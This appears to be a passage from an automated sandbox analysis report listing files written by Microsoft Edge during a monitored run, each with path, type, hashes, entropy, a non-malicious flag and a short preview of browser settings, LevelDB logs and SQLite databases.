C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\60c071b5-a28d-44f5-bef7-51979fe53de5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17115), with no line terminators
Category:	dropped
Size (bytes):	17115
Entropy (8bit):	5.482651914139486
Encrypted:	false
SSDEEP:	192:stMJ99QTryDiuabatSuypysuOEIJZzsKUEkTNLPDbKWmlZH4+8hbV+FKSQwc2f+w:stMPGQSu4ysuOEiZzsKUhOhlZubGHQwT
MD5:	4E24440F41A05E27E58C25744FEEC99F
SHA1:	2DE3C9CCA3DE7992F28F0DFF69A9497E1EF74371
SHA-256:	791170F78D1F57AC8770FE5B5EE45A8E4028D2340ADFACD027B82FC01A2FBF96
SHA-512:	6175F3239728FE0ED6D6C5BF5C1C21B70D5970207AE5737755DD551708750EB0F1506B7ECA2A25F38A6C35FBEB465CE335F3CEC52D5C24699C0D9B9EEAE7E191
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76346b5b-8403-44f5-a0b2-57419a59a24c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567807739655588
Encrypted:	false
SSDEEP:	768:R17UuoWPzPf258F1+UoAYDCx9Tuqh0VfUC9xbog/OVYt75jrwZfbp8U8tud:R17UuoWPzPf25u1ja5N5Yt8tS
MD5:	D44E9878F3627D0AACCAC235F3F98551
SHA1:	068AB7D3D35682F2C8D9847DD7F8CC077D354FDE
SHA-256:	C5EB6B6C460D1CDF59CD1C10D2ED36E7D7AAC25F63C21C2312568F1A3551E785
SHA-512:	A2B43C13F1707652BA565C7D077C75999C80769175578D3BF59A8127DB2CC69E10423D539E2DF2124C236C4B9D4B6C171E42EB1321FE1307CD00785EFF661700
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376591442839443","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376591442839443","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.206124799802958
Encrypted:	false
SSDEEP:	6:HHrFH8D1qLTwi23oH+Tcwtp3hBtB2KLlVHrg8UNyq2PqLTwi23oH+Tcwtp3hBWsh:nxc2wZYebp3dFL/88UNyv8wZYebp3eF2
MD5:	ED2617B83F609C67A912117325B4E049
SHA1:	BC26AFC64DC9387BD71FAE9D1D8445F84247F072
SHA-256:	3BA0198B785F54366EA32FFD35E2FBD70127F9E99CB1AF0EF75E89B60504761A
SHA-512:	8559F55195459B761FEEAE946EE3C16230F166AA5B89552B72CBBA489C3531985791699503098433994B5C7948DE88A90BC58D7F924828F82C7129863C6BC3BB
Malicious:	false
Preview:	2024/11/20-10:50:47.068 1e70 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/20-10:50:47.147 1e70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040594029266464
Encrypted:	false
SSDEEP:	24576:7Ff76gGkISshcFdmcOAoPENUpifYP+MbI2T:7FfgAmmE
MD5:	7F29C63B0B4D199B3E50E54FEA0BDBB5
SHA1:	6AB879C589865DE2C27F43A426E585381E02E3E0
SHA-256:	F39AC17C614B80427A7518EB5D89EDD8B74F29936D211B78B6982CE58B8DA9BB
SHA-512:	6F7FF8C21C7B48CD1AB59FAE0CF380077FE758C8468676859353D60122E38ABE72F44F4A5525C4F29788850971E035EAB1DFF5B90681B1BEA6E96AF7E10FA440
Malicious:	false
Preview:	...m.................DB_VERSION.1acT..................QUERY_TIMESTAMP:arbitration_priority_list4...13340969984833782.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.08835771796587
Encrypted:	false
SSDEEP:	6:HH3YVq2PqLTwi23oH+Tcwt9Eh1tIFUt8YH10gZmw+YHrDjkIkwOqLTwi23oH+Tcf:noVv8wZYeb9Eh16FUt8k10g/+kII5TwG
MD5:	A05242D33198103BD29CB69B39FEEACF
SHA1:	2C208C279031DA3F4B8723AA315671EC1D644BA9
SHA-256:	B21E309C344CCDA9F427F4FCB192A5173E4D5E0808AE05A80F49483BC52E7369
SHA-512:	BAD85B9635826ACAC259B7345CF8FF34F0DD6702506DA05293D6F8AE60D2E2F88F79B3093E5743F18AB2E453FDF2646B0EB2D9FF9EBDC13EFD88DF538C0E4C0F
Malicious:	false
Preview:	2024/11/20-10:50:46.997 2040 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-10:50:46.999 2040 Recovering log #3.2024/11/20-10:50:47.004 2040 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.08835771796587
Encrypted:	false
SSDEEP:	6:HH3YVq2PqLTwi23oH+Tcwt9Eh1tIFUt8YH10gZmw+YHrDjkIkwOqLTwi23oH+Tcf:noVv8wZYeb9Eh16FUt8k10g/+kII5TwG
MD5:	A05242D33198103BD29CB69B39FEEACF
SHA1:	2C208C279031DA3F4B8723AA315671EC1D644BA9
SHA-256:	B21E309C344CCDA9F427F4FCB192A5173E4D5E0808AE05A80F49483BC52E7369
SHA-512:	BAD85B9635826ACAC259B7345CF8FF34F0DD6702506DA05293D6F8AE60D2E2F88F79B3093E5743F18AB2E453FDF2646B0EB2D9FF9EBDC13EFD88DF538C0E4C0F
Malicious:	false
Preview:	2024/11/20-10:50:46.997 2040 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-10:50:46.999 2040 Recovering log #3.2024/11/20-10:50:47.004 2040 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46195417283701384
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu1e:TouQq3qh7z3bY2LNW9WMcUvBus
MD5:	E6E692AA22E103297FA181F6C560E97C
SHA1:	CD9D09387BA01F426A09BDA71CD743A5E12DC227
SHA-256:	EBEBC94BFE063CB718A9687FE2300B6723E74E00E3E4EE1310BF1084CC3909D9
SHA-512:	60E3C0C6C64BD2855D273DA9170420F161DC5D78F17BD278EE37EB3028CDA91D84AF5B33FB23E3F3C22945A291567F0415767960694A821544E142FA61D033C4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.157501130254382
Encrypted:	false
SSDEEP:	6:HH18N+q2PqLTwi23oH+TcwtnG2tMsIFUt8YH1IPE5Zmw+YH1IPEtVkwOqLTwi23p:nPv8wZYebn9GFUt8kOPE5/+kOPET5TwL
MD5:	A8B23F420707D8212FED52D7C15CED30
SHA1:	01B0F00BDF744E08DB779E0E6626B35C3E277BE8
SHA-256:	29B1396651E4B792D63814AF42A35B7F307EFB73A5C934D31883D0DA1C7A919C
SHA-512:	BD923350014CF2F5B04158CE9F87ACD8D6A09206F4D211A3AD931279D26BDB93FD1AD3DAF475108F1B27A2A30B7B7F0A345175479FF6A115E9F2DFB7EE107C96
Malicious:	false
Preview:	2024/11/20-10:50:42.913 1ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-10:50:42.914 1ea8 Recovering log #3.2024/11/20-10:50:42.914 1ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.157501130254382
Encrypted:	false
SSDEEP:	6:HH18N+q2PqLTwi23oH+TcwtnG2tMsIFUt8YH1IPE5Zmw+YH1IPEtVkwOqLTwi23p:nPv8wZYebn9GFUt8kOPE5/+kOPET5TwL
MD5:	A8B23F420707D8212FED52D7C15CED30
SHA1:	01B0F00BDF744E08DB779E0E6626B35C3E277BE8
SHA-256:	29B1396651E4B792D63814AF42A35B7F307EFB73A5C934D31883D0DA1C7A919C
SHA-512:	BD923350014CF2F5B04158CE9F87ACD8D6A09206F4D211A3AD931279D26BDB93FD1AD3DAF475108F1B27A2A30B7B7F0A345175479FF6A115E9F2DFB7EE107C96
Malicious:	false
Preview:	2024/11/20-10:50:42.913 1ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-10:50:42.914 1ea8 Recovering log #3.2024/11/20-10:50:42.914 1ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6135138882638635
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jTSp+gamL:TO8D4jJ/6Up+ntgf
MD5:	B19288D906B58C094B152CDCF88DEEDF
SHA1:	52809243689C55020689553E2B42996C0DA5847E
SHA-256:	31C1A571C879906235B8D5886939D29A5798BCF0C606FCC488D9AE48C3F0A07A
SHA-512:	AE6992AFFAAD8134CC264BC806B8FEDFBBC61DE80F2FAEE83B520B52FB5655C15CF5DE61034DB749562D90AEF412A272B3D2DADD57FF9691DB63B86C2CEA19B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354085186924988
Encrypted:	false
SSDEEP:	6144:tA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:tFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	E098267C832FEBD00F0E2220B8D8C592
SHA1:	A0C4D57ACA9363292060783464A10D32811DE95C
SHA-256:	B75946F218B8711B0A61C8032D496395B00093E780574A3B9D98547698F20362
SHA-512:	371BB85172E5F00279C671D5AFDC9CA83A3E2C6855EE315FD39BD99EC51B9CF4D767A005230AE4D4058C709B27E0FD39603A0A070365E0486C1C1573B9366824
Malicious:	false
Preview:	...m.................DB_VERSION.1C.}#q...............&QUERY_TIMESTAMP:domains_config_gz2...13376591450514119..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.128679232387688
Encrypted:	false
SSDEEP:	6:HHAXQB1qLTwi23oH+Tcwtk2WwnvB2KLlVHrAq2PqLTwi23oH+Tcwtk2WwnvIFUv:n5owZYebkxwnvFL/sv8wZYebkxwnQFUv
MD5:	F50BFEFD3EC07870A7F7F08B225FC340
SHA1:	6FECF27ED003B159E256A54CB12BF43BA7F2E94B
SHA-256:	D1B2F5EA27C46A886CAFE0FD78C51807F7613A48D4CE81F20DC978445FD3CE9C
SHA-512:	1F795C9377B75DE79ED0B0844C3F63371F918F2DF8259586B7DC2A153C03BE5C473BCB6E2A4E3F043389922555E7BFEA1057F0240D050ACC7890884AEF3FB3F1
Malicious:	false
Preview:	2024/11/20-10:50:46.994 2100 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/20-10:50:47.036 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.32461423709661
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RE:C1gAg1zfv8
MD5:	612FF0DCBF53DD889E254BB0DE3883DB
SHA1:	72A22DC1D73A62F7653190928B7AE3525D861549
SHA-256:	96142B2D968DFCD5EB277579FAAAF8976C5DED728355DAD5B28496E7E945F0E3
SHA-512:	56466DC28B6A52F419F7923B53D2AE87B1BA24B977841AA09B4C2FAC5E05E32F736CD02A40253E24568EAC13B8AF391313DEEA41CA306D866B10AF00B6929D34
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.163825576853021
Encrypted:	false
SSDEEP:	6:HH1Wzq2PqLTwi23oH+Tcwt8aPrqIFUt8YH1JZmw+YH1EfkwOqLTwi23oH+Tcwt8h:nUv8wZYebL3FUt8kD/+kCf5TwZYebQJ
MD5:	2402952F724D97A908E318E7F613FF04
SHA1:	65028D50A77B3E8AAFD73CFA567E0B5D92A06167
SHA-256:	20F5DEB452B298BD8D8395FD409A9F6CE779DE45B7F7F798E87B1D01D3E5F006
SHA-512:	9D6A3E66C388ACF98A9865EA1B8C45F7F567559C18C3D930C0A119872228D735C936C5AA22E14DF24E1E0ACD1A8DDCC5D3F80CEBE1BB821280B0DB611374CE26
Malicious:	false
